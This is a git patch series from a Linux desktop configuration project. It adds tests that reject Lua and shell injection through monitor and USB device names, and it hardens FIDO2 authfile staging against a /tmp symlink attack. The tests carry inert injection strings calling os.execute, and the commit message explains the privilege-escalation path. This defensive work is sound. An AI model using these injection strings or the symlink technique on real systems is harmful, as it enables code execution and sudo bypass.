external name with Lua metacharacters" +[[ ! -e $mirror_flag ]] || fail "an unsafe external monitor name is not written as Lua" +pass "mirror on refuses an unsafe headless output name" + +# The clamshell sync writes the internal-monitor name into generated Lua too. +clamshell_flag="$flag_dir/internal-monitor-clamshell.lua" +printf '[{"name":"eDP-1"}]\n' >"$monitors_json" +rm -f "$clamshell_flag" +run_monitor omarchy-hyprland-monitor-clamshell +grep -Fx 'hl.monitor({ output = "eDP-1", disabled = true })' "$clamshell_flag" >/dev/null || + fail "clamshell disable writes the connector name into the toggle flag" +pass "clamshell disable accepts a plain connector name" + +rm -f "$clamshell_flag" +set +e +LAPTOP_NAME='eDP-1", disabled = true })os.execute("calc")--' \ + run_monitor omarchy-hyprland-monitor-clamshell >/dev/null 2>&1 +status=$? +set -e +(( status != 0 )) || fail "clamshell rejects a monitor name with Lua metacharacters" +[[ ! -e $clamshell_flag ]] || fail "an unsafe internal monitor name is not written as clamshell Lua" +pass "clamshell refuses an unsafe internal monitor name" + +# The scaling command eval's the focused-monitor name into a Lua string. +printf '[{"name":"eDP-1","focused":true,"scale":1.0,"width":1920,"height":1080,"refreshRate":60.0}]\n' \ + >"$monitors_json" +run_monitor omarchy-hyprland-monitor-scaling 1.6 +grep -F 'hl.monitor({ output = "eDP-1"' "$eval_log" >/dev/null || + fail "scaling eval's the focused connector name" +pass "scaling accepts a plain connector name" + +printf '[{"name":"eDP-1\\" })os.execute(\\"calc\\")--","focused":true,"scale":1.0,"width":1920,"height":1080,"refreshRate":60.0}]\n' \ + >"$monitors_json" +set +e +run_monitor omarchy-hyprland-monitor-scaling 1.6 >/dev/null 2>&1 +status=$? +set -e +(( status != 0 )) || fail "scaling rejects a focused monitor name with Lua metacharacters" +[[ ! -s $eval_log ]] || fail "an unsafe focused monitor name is not eval'd as Lua" +pass "scaling refuses an unsafe focused monitor name" diff --git a/test/shell.d/toggle-input-device-test.sh b/test/shell.d/toggle-input-device-test.sh new file mode 100755 index 00000000..2b0c10d8 --- /dev/null +++ b/test/shell.d/toggle-input-device-test.sh @@ -0,0 +1,286 @@ +#!/bin/bash + +set -euo pipefail + +source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" + +require_command lua + +tmpdir=$(mktemp -d) +trap 'rm -rf "$tmpdir"' EXIT + +stub_dir="$tmpdir/bin" +home_dir="$tmpdir/home" +xdg_decoy="$tmpdir/xdg-decoy" +log_file="$tmpdir/hyprctl.log" +marker="$tmpdir/marker" +mkdir -p "$stub_dir" "$home_dir" "$xdg_decoy" + +state_dir="$home_dir/.local/state/omarchy/toggles/hypr" +name_file="$state_dir/touchpad-disabled-name" +state_lua="$state_dir/touchpad-disabled.lua" + +cat >"$stub_dir/hyprctl" <<'EOF' +#!/bin/bash +case $1 in + eval) printf '%s\n' "$2" >>"$HYPRCTL_LOG" ;; + reload) printf 'reload\n' >>"$HYPRCTL_LOG" ;; +esac +EOF +chmod +x "$stub_dir/hyprctl" + +cat >"$stub_dir/omarchy-osd" <<'EOF' +#!/bin/bash +: +EOF +chmod +x "$stub_dir/omarchy-osd" + +stub_device() { + local kind=$1 + local name=$2 + cat >"$stub_dir/omarchy-hw-$kind" </dev/null) ]] || + fail "input-device state must ignore XDG_STATE_HOME" +} + +: >"$log_file" +stub_device touchpad 'elan-touchpad' + +run_toggle touchpad off +[[ $(<"$name_file") == "elan-touchpad" ]] || fail "touchpad disable stores the device name as data" +[[ ! -e $state_lua ]] || fail "touchpad disable writes no generated Lua" +grep -Fx 'hl.device({ name = "elan-touchpad", enabled = false })' "$log_file" >/dev/null || + fail "touchpad disable applies a quoted Lua device name" +assert_decoy_untouched +pass "touchpad disable persists the device name as data" + +: >"$log_file" +run_toggle touchpad on +[[ ! -e $name_file ]] || fail "touchpad enable clears the persisted device name" +grep -Fx 'hl.device({ name = "elan-touchpad", enabled = true })' "$log_file" >/dev/null || + fail "touchpad enable applies a quoted Lua device name" +pass "touchpad enable clears persisted disable state" + +run_toggle touchpad +[[ -f $name_file ]] || fail "default toggle action disables an enabled touchpad" +run_toggle touchpad +[[ ! -e $name_file ]] || fail "default toggle action enables a disabled touchpad" +pass "default toggle action flips the persisted state" + +: >"$log_file" +stub_device touchscreen 'wacom-hid-52eb-finger' +ts_name_file="$state_dir/touchscreen-disabled-name" + +run_toggle touchscreen off +[[ $(<"$ts_name_file") == "wacom-hid-52eb-finger" ]] || + fail "touchscreen disable stores the device name as data" +grep -Fx 'hl.device({ name = "wacom-hid-52eb-finger", enabled = false })' "$log_file" >/dev/null || + fail "touchscreen disable applies a quoted Lua device name" +run_toggle touchscreen on +[[ ! -e $ts_name_file ]] || fail "touchscreen enable clears the persisted device name" +pass "touchscreen routes through the same persisted-name state" + +: >"$log_file" +rm -f "$marker" +stub_device touchpad 'touchpad"; touch '"$marker"'; echo "' + +run_toggle touchpad off +[[ ! -e $marker ]] || fail "touchpad disable does not execute metacharacters in the device name" +[[ $(<"$name_file") == 'touchpad"; touch '"$marker"'; echo "' ]] || + fail "a hostile device name is stored only as data" +[[ ! -e $state_lua ]] || fail "a hostile device name is not written as Lua" +grep -F 'hl.device({ name = "touchpad\"' "$log_file" >/dev/null || + fail "hyprctl eval Lua-quotes quotes in the device name" "$(<"$log_file")" +pass "touchpad disable treats USB device names as data" + +HOME="$home_dir" XDG_STATE_HOME="$xdg_decoy" OMARCHY_PATH="$ROOT" MARKER="$marker" lua - <<'LUA' +local seen = {} +hl = { + device = function(opts) + table.insert(seen, opts) + end, +} + +dofile(os.getenv("OMARCHY_PATH") .. "/default/hypr/bootstrap.lua") +require("default.hypr.toggles") +assert(#seen == 1, "reload disables one device") +assert(seen[1].enabled == false) +assert(seen[1].name == 'touchpad"; touch ' .. os.getenv("MARKER") .. '; echo "', "device name is passed as a string") +LUA +pass "Hyprland reload loads the device name as a string" + +# Public PoC device name: USB iProduct is interpolated into hl.device({ name = "..." }). +# os.execute is stubbed so the string is only checked as data. +poc_name='trackpad"})os.execute("~/calc&")--' +stub_device touchpad "$poc_name" + +run_toggle touchpad on +: >"$log_file" +run_toggle touchpad off +[[ $(<"$name_file") == "$poc_name" ]] || fail "PoC device name is stored only as data" +[[ ! -e $state_lua ]] || fail "PoC device name is not written as Lua" + +HOME="$home_dir" XDG_STATE_HOME="$xdg_decoy" OMARCHY_PATH="$ROOT" \ + POC_NAME="$poc_name" EVAL_SNIPPET="$(<"$log_file")" lua - <<'LUA' +local poc = os.getenv("POC_NAME") +local snippet = os.getenv("EVAL_SNIPPET") +local seen, executed = {}, false + +hl = { + device = function(opts) + table.insert(seen, opts) + end, +} +os.execute = function() + executed = true +end + +assert(load(snippet, "eval", "t"))() +assert(executed == false, "quoted hyprctl eval must not run os.execute") +assert(#seen == 1) +assert(seen[1].name == poc) +assert(seen[1].enabled == false) + +seen, executed = {}, false +assert(load('hl.device({ name = "' .. poc .. '", enabled = false })', "unquoted", "t"))() +assert(executed == true, "unquoted interpolation is the Lua injection") + +seen, executed = {}, false +dofile(os.getenv("OMARCHY_PATH") .. "/default/hypr/bootstrap.lua") +require("default.hypr.toggles") +assert(executed == false, "reload must not run os.execute") +assert(#seen == 1) +assert(seen[1].name == poc) +LUA +pass "PoC device name cannot execute via eval or reload" + +cat >"$stub_dir/omarchy-hw-touchpad" <<'EOF' +#!/bin/bash +printf 'evil\nname\n' +EOF +chmod +x "$stub_dir/omarchy-hw-touchpad" + +rm -f "$name_file" +set +e +run_toggle touchpad off >/dev/null 2>&1 +status=$? +set -e +(( status != 0 )) || fail "disable rejects a device name with a newline" +[[ ! -e $name_file ]] || fail "a rejected device name is not persisted" +pass "disable rejects control characters in a device name" + +printf 'elan-touchpad\n' >"$name_file" +set +e +run_toggle touchpad on >/dev/null 2>&1 +status=$? +set -e +(( status != 0 )) || fail "enable still reports an invalid device name" +[[ ! -e $name_file ]] || fail "enable clears persisted state even with an invalid device name" +pass "a bad device name cannot wedge the persisted disable" + +cat >"$stub_dir/omarchy-hw-touchpad" <<'EOF' +#!/bin/bash +: +EOF +chmod +x "$stub_dir/omarchy-hw-touchpad" + +set +e +run_toggle touchpad off >/dev/null 2>&1 +status=$? +set -e +(( status != 0 )) || fail "disable errors when no device is found" +[[ ! -e $name_file ]] || fail "no state is written when no device is found" +pass "disable errors when no device is found" + +# The migration runs with the same XDG decoy: legacy files were written to +# ~/.local/state, so that is where it must look no matter what XDG says. +run_migration() { + HOME="$home_dir" XDG_STATE_HOME="$xdg_decoy" HYPRCTL_LOG="$log_file" \ + PATH="$stub_dir:$ROOT/bin:$PATH" \ + bash -euo pipefail "$ROOT/migrations/1787618700.sh" >/dev/null +} + +mkdir -p "$state_dir" +rm -f "$state_dir"/*-disabled-name +printf 'hl.device({ name = "synps/2-synaptics-touchpad", enabled = false })\n' >"$state_lua" +printf 'hl.device({ name = "hostile\\"")", enabled = false })\n' >"$state_dir/touchscreen-disabled.lua" + +: >"$log_file" +run_migration +[[ $(<"$name_file") == "synps/2-synaptics-touchpad" ]] || + fail "migration recovers a device name containing a slash" +[[ ! -e $state_lua ]] || fail "migration deletes the generated touchpad Lua" +[[ ! -e $state_dir/touchscreen-disabled-name ]] || + fail "migration does not copy a hostile name out of generated Lua" +[[ ! -e $state_dir/touchscreen-disabled.lua ]] || + fail "migration deletes hostile generated Lua even when no name is recovered" +assert_decoy_untouched +# The package hook reloads Hyprland before migrations run, so the disable was +# already dropped for this session; the migration has to put it back. +grep -Fx 'reload' "$log_file" >/dev/null || + fail "migration reloads so the recovered disable applies to this session" +pass "migration recovers plain names and discards hostile generated Lua" + +printf 'kept-name\n' >"$name_file" +printf 'hl.device({ name = "other-touchpad", enabled = false })\n' >"$state_lua" +run_migration +[[ $(<"$name_file") == "kept-name" ]] || fail "migration keeps an existing device-name file" +[[ ! -e $state_lua ]] || fail "migration still deletes the generated Lua" +pass "migration is idempotent over an existing device-name file" + +rm -f "$name_file" +printf 'garbage\n' >"$state_lua" +chmod 000 "$state_lua" +run_migration +[[ ! -e $state_lua ]] || fail "migration removes an unreadable generated Lua" +[[ ! -e $name_file ]] || fail "no name is recovered from an unreadable file" +pass "an unreadable state file does not wedge the migration" + +: >"$log_file" +run_migration +[[ ! -s $log_file ]] || fail "migration with nothing to migrate does not reload" +pass "migration no-ops with nothing left to migrate" + +# A compromised install carries a leftover generated touchpad-disabled.lua whose +# device name broke out into os.execute. Until the migration deletes it, a reload +# must not source it. toggles.lua excludes those two names from require_all, so the +# payload never runs, while a current name-file disable still applies. +reload_home="$tmpdir/reload-home" +reload_state="$reload_home/.local/state/omarchy/toggles/hypr" +mkdir -p "$reload_state" +reload_marker="$tmpdir/reload-executed" +rm -f "$reload_marker" +printf 'hl.device({ name = "trackpad"})os.execute("touch %s")--", enabled = false })\n' "$reload_marker" \ + >"$reload_state/touchpad-disabled.lua" +printf 'elan-touchpad\n' >"$reload_state/touchpad-disabled-name" + +HOME="$reload_home" XDG_STATE_HOME="$reload_home/.local/state" OMARCHY_PATH="$ROOT" lua - <<'LUA' +local disabled = {} +hl = { device = function(opts) table.insert(disabled, opts) end } +dofile(os.getenv("OMARCHY_PATH") .. "/default/hypr/bootstrap.lua") +require("default.hypr.toggles") +assert(#disabled == 1, "only the current name-file disable is applied") +assert(disabled[1].name == "elan-touchpad", "disable uses the stored device name") +assert(disabled[1].enabled == false) +LUA +[[ ! -e $reload_marker ]] || fail "a leftover legacy generated toggle Lua must not execute on reload" +pass "reload excludes leftover legacy toggle Lua while applying the data disable" From 23dab9ec4d7179bb1e03a70ae942653f8daa8003 Mon Sep 17 00:00:00 2001 From: Mehmet INCE <4004716+mdisec@users.noreply.github.com> Date: Tue, 25 Aug 2026 11:09:17 +0100 Subject: [PATCH 051/336] [Security] Stop the FIDO2 setup staging its authfile at a predictable /tmp path (#7904) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * [Security] Stop the FIDO2 setup staging its authfile at a predictable /tmp path pamu2fcfg wrote to /tmp/fido2 and the registration was then moved into place with `sudo mv`. Any other local user can pre-create /tmp/fido2, and rename(2) does not dereference the final component, so the privileged move installed the attacker's symlink itself as pam_u2f's global authfile -- a file consulted by `sufficient` lines in /etc/pam.d/sudo and /etc/pam.d/polkit-1. The same move also carried the staged file's ownership into /etc, so on every install to date /etc/fido2/fido2 is owned by the invoking user at mode 0644. That needs no attacker: anything running as that uid can add its own credential and satisfy the machine's sudo prompt without root. Stage under mktemp and hand the bytes to `install` instead, so the authfile is always a fresh root-owned regular file rather than an inode a non-root user still controls. Guard the already-registered check with -L, which -f would otherwise follow, and reject a symlinked /etc/fido2 in the remove path for the same reason. A migration takes ownership of authfiles left behind by the old code; it reports a symlink rather than repairing one, since chown would follow it and removing it would strip sudo from anyone whose only credential is the token. Co-Authored-By: Claude Opus 5 (1M context) Claude-Session: https://claude.ai/code/session_012e6WagC5iUigCGoK1tQeFz * Install the FIDO2 authfile with -T and refuse a non-regular path `install SRC DEST` without -T treats an existing directory at DEST as a destination directory: it drops the credential inside as /etc/fido2/fido2/tmp.XXXX, exits 0, and setup reports a successful registration while PAM goes on reading a path that is not a file. -T makes that an error. The already-registered check has the same blind spot from the other side. -f follows symlinks, so it reads a symlinked authfile as a registration and leaves it in place, and is false for a directory, so it tries to register over one. Only a regular file is a pam_u2f authfile; anything else is now refused with the same advice to remove it and set FIDO2 up again. The test deleted every staged path that fell outside its scratch directory, taking the path from the script under test and already resolved through any symlink -- so a script staging through one would have named a file of the user's and had it unlinked. It now unlinks only a file its own stub wrote into. On a machine that already has /etc/fido2/fido2 the staging assertions cannot run at all, and the file used to pass without exercising one of them. That branch now asserts what the host state promises instead: a regular authfile still has to be recognised as a registration and left alone, and anything else has to be refused. Co-Authored-By: Claude Opus 5 Co-Authored-By: Codex XHigh * Replace the FIDO2 authfile inode rather than chowning it in place Permission is checked at open(2), not at write(2), so a descriptor the registering user opened on the authfile while it was still theirs stays writable through chown and chmod alike. pam_u2f resolves /etc/fido2/fido2 to that same inode, so the repair left the account it authenticates able to append a credential it controls -- the exact state the migration exists to end, now recorded as migrated and never revisited. Installing a fresh root-owned copy and renaming it over the path leaves any such descriptor writing to a file nothing reads. Credit to #7703, which reached the same conclusion independently. An interrupted run heals: the staged copy is root-owned 600 and inert, no marker is written, and the next run replaces it. A directory or device at the authfile path is no more ours to rewrite than a symlink is, and chmod 600 on a directory would only make it untraversable, so both are now reported rather than repaired. The repair had no test, because it names an absolute path no unprivileged suite can write. It is exercised through a scratch copy with that one literal retargeted, rather than by reading the path from the environment: the migration hands `install` and `mv` root, and an operand the caller can choose is a privileged write to anywhere. The copy is only as honest as the substitution, so the test fails if the migration stops naming the path exactly once. Covered: the no-op on a machine that never registered a key, which must not cost a password prompt; the repair itself; the new inode; the absence of a staged copy afterwards; a second account finding it done; and the symlink and non-regular cases. Each assertion was checked against a mutation that defeats it -- notably a repair with the right install call, mode, content and cleanup that writes through the old inode, which only the inode assertion catches. Co-Authored-By: Claude Opus 5 Co-Authored-By: Codex XHigh * Finish hardening FIDO2 authfile installation * Guard the FIDO2 directory and the stage path the setup writes through install -d follows a symlink at /etc/fido2 and applies the mode and ownership to whatever it points at, so the credential would be staged and published inside the link target and that directory silently reopened to root:root 755. The leaf guard above it only covered fido2 itself, and this is the same threat omarchy-remove-security-fido2 already names on its side. mktemp's output is an operand for a privileged tee, chmod, mv and rm. The migration validates it before any of them run; the setup did not, so take only the name it asked for there too. The suite was guarded on the host's own /etc/fido2/fido2 and exited early when one existed, which meant the staging assertions asserted nothing on exactly the machines that use FIDO2. Drive a retargeted copy the way the migration suite already does, so every branch is a fixture and all of them run everywhere. Co-Authored-By: Claude Opus 5 (1M context) * Stop the FIDO2 migration recording a repair it never made omarchy-migrate writes the per-user completion marker on any zero exit, so the two states this migration cannot repair got one line in the update terminal and were then silenced for good: no login notice, no re-run, the migration recorded as done having repaired nothing. Those are precisely the machines where the authfile may already be under someone else's control, so raise them through omarchy-notification-send as well, where they outlive the scrollback. Delivery is best-effort: a machine with no user bus or no notification server must not abort the migration and take every later one with it. The early exit had the same shape of problem. It read the authfile unprivileged, and the old setup created /etc/fido2 with `sudo mkdir -p`, which took the union of the caller's umask and sudoers' 0022 — so registering under `umask 077` left the directory mode 0700 with the user-owned authfile still inside. Absence and "cannot look" are the same answer to those tests, and the migration exited 0 and marked itself complete. Ask root whether a registration is actually behind an untraversable directory before reopening it, so an aborted setup that left an empty directory, or one an administrator keeps private, does not have its mode widened and its group and special bits discarded for a repair it does not need. A machine that never set FIDO2 up has no directory here and still reaches exit 0 without a password prompt. The notification assertion checks argument shape rather than a substring of the command line. The glyph is a private-use codepoint, and losing it shifts every argument left: -g swallows the headline, the body becomes the title, and the message goes out with no description — which a substring match reads as a pass. Co-Authored-By: Claude Opus 5 (1M context) Co-Authored-By: Codex XHigh * Cover the FIDO2 removal's symlink guard The -d to -e || -L change is load-bearing for the threat its own comment names — a dangling link at /etc/fido2 that -d reads as absent, left for the next setup to install an authfile through — and it was the one part of this work with no test behind it. Name the directory once so the suite can retarget a copy, the same seam the setup and migration suites use, and assert both halves: the link goes, and the directory it pointed at does not. Co-Authored-By: Claude Opus 5 (1M context) --------- Co-authored-by: Claude Opus 5 (1M context) Co-authored-by: David Heinemeier Hansson Co-authored-by: Codex XHigh --- bin/omarchy-remove-security-fido2 | 9 +- bin/omarchy-setup-security-fido2 | 75 ++- migrations/1787494718.sh | 116 ++++ test/shell.d/security-fido2-migration-test.sh | 557 ++++++++++++++++++ test/shell.d/security-fido2-remove-test.sh | 126 ++++ test/shell.d/security-fido2-test.sh | 480 +++++++++++++++ 6 files changed, 1357 insertions(+), 6 deletions(-) create mode 100644 migrations/1787494718.sh create mode 100755 test/shell.d/security-fido2-migration-test.sh create mode 100755 test/shell.d/security-fido2-remove-test.sh create mode 100755 test/shell.d/security-fido2-test.sh diff --git a/bin/omarchy-remove-security-fido2 b/bin/omarchy-remove-security-fido2 index c93b490f..6df388c0 100755 --- a/bin/omarchy-remove-security-fido2 +++ b/bin/omarchy-remove-security-fido2 @@ -24,9 +24,14 @@ echo -e "\e[32mRemoving FIDO2 device from authentication.\n\e[0m" remove_pam_config -if [[ -d /etc/fido2 ]]; then +authdir=/etc/fido2 + +# -d follows symlinks, so a dangling link at /etc/fido2 would survive this and +# a later setup would install the authfile through it. rm -rf on a symlink +# removes the link itself, never the directory it points at. +if [[ -e $authdir || -L $authdir ]]; then echo "Removing FIDO2 configuration..." - sudo rm -rf /etc/fido2 + sudo rm -rf "$authdir" fi echo "Removing FIDO2 packages..." diff --git a/bin/omarchy-setup-security-fido2 b/bin/omarchy-setup-security-fido2 index 8513968e..85fe2039 100755 --- a/bin/omarchy-setup-security-fido2 +++ b/bin/omarchy-setup-security-fido2 @@ -4,6 +4,7 @@ # omarchy:requires-sudo=true set -e +set -o pipefail check_fido2_hardware() { @@ -50,13 +51,79 @@ if ! check_fido2_hardware; then fi # Create the pamu2fcfg file -if [[ ! -f /etc/fido2/fido2 ]]; then - sudo mkdir -p /etc/fido2 +authdir=/etc/fido2 +authfile=/etc/fido2/fido2 + +# install -d follows a symlink here and applies the mode and ownership to +# whatever it points at, so the credential would be staged and published inside +# the link target and that directory reopened to root:root 755. This is the +# threat omarchy-remove-security-fido2 already names on its side. +if [[ -L $authdir || ( -e $authdir && ! -d $authdir ) ]]; then + echo -e "\e[31m\n$authdir is not a FIDO2 configuration directory.\e[0m" + echo "Run omarchy-remove-security-fido2 first, then set FIDO2 up again." + exit 1 +fi + +# -f follows symlinks, so the already-registered check below reads a symlinked +# authfile as a registration and leaves it in place, and is false for a +# directory, so it tries to register over one. Only a regular file is a valid +# pam_u2f authfile. +if [[ -L $authfile || ( -e $authfile && ! -f $authfile ) ]]; then + echo -e "\e[31m\n$authfile is not a FIDO2 registration file.\e[0m" + echo "Run omarchy-remove-security-fido2 first, then set FIDO2 up again." + exit 1 +fi + +if [[ ! -f $authfile ]]; then + sudo install -d -m 755 -o root -g root "$authdir" echo -e "\e[32m\nLet's setup your device by confirming on the device now.\e[0m" echo -e "Touch your FIDO2 key when it lights up...\n" - if pamu2fcfg >/tmp/fido2; then - sudo mv /tmp/fido2 /etc/fido2/fido2 + # A unique sibling created by root cannot be replaced by another process + # running as this user. Stream pamu2fcfg into it instead of asking root to + # reopen a caller-owned path: an observed temporary name could otherwise be + # replaced with a symlink before the privileged copy. The final rename is + # atomic, and -T refuses a directory at the destination. Mode 644 keeps the + # root-owned global authfile readable when pam_u2f uses openasuser; only root + # can still rewrite it. + stage="" + + # mktemp's output is an operand for four privileged commands below, one of + # them an rm. Take only the name this script asked for rather than whatever + # came back on stdout. + safe_stage_path() { + local candidate=$1 + local prefix="$authfile.new." + local suffix + + [[ $candidate == "$prefix"* ]] || return 1 + suffix=${candidate#"$prefix"} + [[ $suffix =~ ^[[:alnum:]]{6}$ ]] + } + + cleanup_stage() { + local status=$? + + if safe_stage_path "$stage"; then + sudo rm -f -- "$stage" || true + fi + + return "$status" + } + + trap cleanup_stage EXIT + stage=$(sudo mktemp "$authfile.new.XXXXXX") + + if ! safe_stage_path "$stage" || [[ ! -f $stage || -L $stage ]]; then + echo -e "\e[31m\nCould not create a safe staging file beside $authfile.\e[0m" + exit 1 + fi + + if pamu2fcfg | sudo tee "$stage" >/dev/null && [[ -s $stage ]]; then + sudo chmod 644 "$stage" + sudo mv -Tf "$stage" "$authfile" + stage="" + trap - EXIT echo -e "\e[32mFIDO2 device registered successfully!\e[0m" else echo -e "\e[31m\nFIDO2 registration failed. Please try again.\e[0m" diff --git a/migrations/1787494718.sh b/migrations/1787494718.sh new file mode 100644 index 00000000..0f11ada6 --- /dev/null +++ b/migrations/1787494718.sh @@ -0,0 +1,116 @@ +echo "Take ownership of the FIDO2 authfile so it cannot be rewritten without root" + +authfile="/etc/fido2/fido2" + +# omarchy-migrate records this migration as complete whenever it exits zero, so +# a line printed here scrolls past once in the update terminal and is never +# shown again. The states below cannot be repaired without deciding what to do +# with a file we do not own, and they are exactly the ones where the authfile +# may already be under someone else's control, so say so where it outlives the +# scrollback as well. +report_unrepairable() { + echo " $1" + echo " $2" + omarchy-notification-send -u critical -g  "FIDO2 authfile needs attention" "$1 $2" || true +} + +# Nothing to repair on any machine that never set FIDO2 up, which is almost all +# of them. Checked before any sudo so those machines never see a password +# prompt. -L as well as -e: a dangling symlink is invisible to -e. +if [[ ! -L $authfile && ! -e $authfile ]]; then + # Absence and "cannot look" are the same answer to the tests above. The old + # setup created /etc/fido2 with `sudo mkdir -p`, which took the union of the + # caller's umask and sudoers' 0022, so anyone registering under `umask 077` + # left it mode 0700 with the user-owned authfile still inside. Escalate for + # that case alone -- a machine that never set FIDO2 up has no directory here + # and still reaches exit 0 without a password prompt. Not through a symlink: + # chmod would act on whatever it points at. + authdir=${authfile%/*} + + if [[ -L $authdir || ! -d $authdir || -x $authdir ]]; then + exit 0 + fi + + # Ask root whether a registration is behind it before touching the directory + # itself. An aborted setup that left an empty 0700 directory, or one an + # administrator deliberately keeps private, must not have its mode widened + # and its group and special bits discarded for a repair it does not need. + if ! sudo test -e "$authfile" && ! sudo test -L "$authfile"; then + exit 0 + fi + + sudo chmod 755 "$authdir" +fi + +# The old privileged move could install a symlink here if its fixed staging path +# was redirected. Reported, not repaired: chown follows symlinks and would take +# ownership of the target instead, and removing it would strip sudo and polkit +# from anyone whose only credential is the token. +if [[ -L $authfile ]]; then + report_unrepairable "$authfile is a symlink, not a regular file." \ + "Leaving it alone. If you did not create it, remove it and re-run Setup > Security > Fido2." + exit 0 +fi + +# A directory or a device here is no more ours to rewrite than a symlink is, +# and changing a directory's mode would alter an object we do not own. +if [[ ! -f $authfile ]]; then + report_unrepairable "$authfile is not a regular file." \ + "Leaving it alone. Remove it and re-run Setup > Security > Fido2." + exit 0 +fi + +# Migration state is per-user, so every account re-runs this. The file's own +# ownership is the state check: the second account finds the repair already +# done and exits without escalating. +owner=$(stat -c %U "$authfile" 2>/dev/null) || owner="" +group=$(stat -c %G "$authfile" 2>/dev/null) || group="" +mode=$(stat -c %a "$authfile" 2>/dev/null) || mode="" +if [[ $owner == "root" && $group == "root" && $mode == "644" ]]; then + exit 0 +fi + +# Setup used to `mv` this in from /tmp, which carried the invoking user's +# ownership into /etc. Root ownership stops that user from rewriting their own +# PAM credential without root. Mode 644 keeps the public credential mapping +# readable when pam_u2f opens an absolute authfile as the authenticating user. +# +# Rename a fresh copy over the path rather than chowning in place. A descriptor +# opened while the file was still the user's own stays writable on that inode +# through any later chmod or chown, since permission is checked at open(2), and +# pam_u2f resolving the path would keep landing on it. Replacing the inode +# leaves that descriptor writing to a file nothing reads. +stage="" + +safe_stage_path() { + local candidate=$1 + local prefix="$authfile.new." + local suffix + + [[ $candidate == "$prefix"* ]] || return 1 + suffix=${candidate#"$prefix"} + [[ $suffix =~ ^[[:alnum:]]{6}$ ]] +} + +cleanup_stage() { + local status=$? + + if safe_stage_path "$stage"; then + sudo rm -f -- "$stage" || true + fi + + return "$status" +} + +trap cleanup_stage EXIT +stage=$(sudo mktemp "$authfile.new.XXXXXX") + +if ! safe_stage_path "$stage" || [[ ! -f $stage || -L $stage ]]; then + echo " Could not create a safe staging file beside $authfile." + exit 1 +fi + +sudo install -T -m 644 -o root -g root "$authfile" "$stage" +sudo mv -Tf "$stage" "$authfile" +stage="" +trap - EXIT diff --git a/test/shell.d/security-fido2-migration-test.sh b/test/shell.d/security-fido2-migration-test.sh new file mode 100755 index 00000000..01e5b698 --- /dev/null +++ b/test/shell.d/security-fido2-migration-test.sh @@ -0,0 +1,557 @@ +#!/bin/bash + +set -euo pipefail + +source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" + +migration="$ROOT/migrations/1787494718.sh" + +test_tmp=$(mktemp -d) +trap 'rm -rf "$test_tmp"' EXIT + +stub_bin="$test_tmp/bin" +calls="$test_tmp/calls.log" +stages="$test_tmp/stages.log" +notifications="$test_tmp/notifications.log" +# A directory of its own, not $test_tmp: the migration derives the FIDO2 +# directory from the authfile, and the case below where that directory is +# untraversable has to be able to take the permissions off it. +authdir="$test_tmp/etc-fido2" +authfile="$authdir/fido2" +migration_copy="$test_tmp/migration.sh" +mkdir -p "$stub_bin" "$authdir" +: >"$stages" +: >"$notifications" + +# The migration repairs an absolute path no unprivileged suite can write, and an +# environment override in the shipped file would hand a root install and mv an +# operand the caller chooses. Retarget a scratch copy instead, and fail if the +# path is not named exactly once, so this seam cannot quietly stop standing for +# the file it copies. +occurrences=$(grep -Fo /etc/fido2/fido2 "$migration" | wc -l) || occurrences=0 +(( occurrences == 1 )) || + fail "the migration names its authfile exactly once, so the test can retarget a copy" \ + "found $occurrences occurrences" +grep -Fxq 'authfile="/etc/fido2/fido2"' "$migration" || + fail "the production authfile path is a fixed literal, not caller-controlled" +pass "migration names its authfile once, and the test drives a retargeted copy" + +# Log every escalation, then execute only the expected bare sudo forms. Each +# operand is matched against the scratch authfile or a stage this stub created. +# This contains malformed calls made through that interface; arbitrary direct +# privileged commands in the migration are outside this harness. +cat >"$stub_bin/sudo" <<'SH' +#!/bin/bash + +set -euo pipefail + +reject() { + printf 'refusing unexpected sudo invocation:' >&2 + printf ' %q' "$@" >&2 + printf '\n' >&2 + exit 97 +} + +if [[ ${TEST_TMP:-} != /* || ${TEST_AUTHDIR:-} != "$TEST_TMP/etc-fido2" || ${TEST_AUTHFILE:-} != "$TEST_AUTHDIR/fido2" || ${TEST_LOG:-} != "$TEST_TMP/calls.log" || ${TEST_STAGES:-} != "$TEST_TMP/stages.log" ]]; then + reject "$@" +fi + +printf 'sudo' >>"$TEST_LOG" +printf '\t%s' "$@" >>"$TEST_LOG" +printf '\n' >>"$TEST_LOG" + +safe_stage_path() { + local candidate=$1 + local prefix="$TEST_AUTHFILE.new." + local suffix + + [[ $candidate == "$prefix"* ]] || return 1 + suffix=${candidate#"$prefix"} + [[ $suffix =~ ^[[:alnum:]]{6}$ ]] +} + +recorded_stage() { + local candidate=$1 + + safe_stage_path "$candidate" || return 1 + [[ -f $candidate && ! -L $candidate ]] || return 1 + /usr/bin/grep -Fxq -- "$candidate" "$TEST_STAGES" +} + +case "$1" in + mktemp) + if (( $# != 2 )) || [[ $2 != "$TEST_AUTHFILE.new.XXXXXX" ]]; then + reject "$@" + fi + + case ${TEST_MKTEMP_MODE:-normal} in + normal) + stage=$(/usr/bin/mktemp -- "$2") + if ! safe_stage_path "$stage" || [[ ! -f $stage || -L $stage ]]; then + reject "$@" + fi + + printf '%s\n' "$stage" >>"$TEST_STAGES" + printf '%s\n' "$stage" + ;; + malformed) + stage="$TEST_AUTHFILE.new.A/BCDE" + /usr/bin/mkdir -- "${stage%/*}" + : >"$stage" + printf '%s\n' "$stage" + ;; + nonregular) + stage="$TEST_AUTHFILE.new.BAD123" + /usr/bin/mkdir -- "$stage" + printf '%s\n' "$stage" + ;; + *) + reject "$@" + ;; + esac + ;; + install) + if (( $# != 10 )) || [[ $2 != "-T" || $3 != "-m" || $4 != "644" || $5 != "-o" || $6 != "root" || $7 != "-g" || $8 != "root" || $9 != "$TEST_AUTHFILE" ]] || ! recorded_stage "${10}"; then + reject "$@" + fi + + if [[ ${TEST_FAIL_INSTALL:-0} == "1" ]]; then + exit 71 + fi + + if (( EUID == 0 )); then + exec /usr/bin/install -T -m 644 -o root -g root "$9" "${10}" + else + exec /usr/bin/install -T -m 644 "$9" "${10}" + fi + ;; + mv) + if (( $# != 4 )) || [[ $2 != "-Tf" || $4 != "$TEST_AUTHFILE" ]] || ! recorded_stage "$3"; then + reject "$@" + fi + + if [[ ${TEST_FAIL_MV:-0} == "1" ]]; then + exit 72 + fi + + exec /usr/bin/mv -Tf -- "$3" 